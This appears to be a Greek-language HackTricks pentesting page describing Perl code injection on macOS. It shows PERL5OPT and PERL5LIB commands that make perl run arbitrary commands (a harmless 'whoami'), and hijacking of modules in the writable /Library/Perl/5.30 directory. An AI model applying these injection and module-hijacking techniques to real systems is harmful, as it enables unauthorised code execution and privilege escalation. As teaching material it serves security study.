3.2 KiB
Raw Blame History

macOS Perl Applications Injection

{{#include ../../../banners/hacktricks-training.md}}

Μέσω της μεταβλητής περιβάλλοντος PERL5OPT & PERL5LIB

Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος PERL5OPT, είναι δυνατόν να κάνετε το perl να εκτελεί αυθαίρετες εντολές.
Για παράδειγμα, δημιουργήστε αυτό το σενάριο:

#!/usr/bin/perl
print "Hello from the Perl script!\n";

Τώρα εξάγετε τη μεταβλητή env και εκτελέστε το perl σενάριο:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. /tmp/pmod.pm):

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές περιβάλλοντος:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Μέσω εξαρτήσεων

Είναι δυνατόν να καταγραφούν οι εξαρτήσεις της σειράς φακέλων του Perl που εκτελείται:

perl -e 'print join("\n", @INC)'

Το οποίο θα επιστρέψει κάτι σαν:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο, /Library/Perl/5.30 υπάρχει, δεν είναι προστατευμένος από SIP και είναι πριν από τους φακέλους που προστατεύονται από SIP. Επομένως, κάποιος θα μπορούσε να εκμεταλλευτεί αυτόν τον φάκελο για να προσθέσει εξαρτήσεις σε σενάρια εκεί, έτσι ώστε ένα σενάριο Perl υψηλής προνομιακής πρόσβασης να το φορτώσει.

Warning

Ωστόσο, σημειώστε ότι πρέπει να είστε root για να γράψετε σε αυτόν τον φάκελο και σήμερα θα λάβετε αυτήν την προτροπή TCC:

Για παράδειγμα, αν ένα σενάριο εισάγει use File::Basename;, θα ήταν δυνατό να δημιουργηθεί το /Library/Perl/5.30/File/Basename.pm για να εκτελεί αυθαίρετο κώδικα.

References

{{#include ../../../banners/hacktricks-training.md}}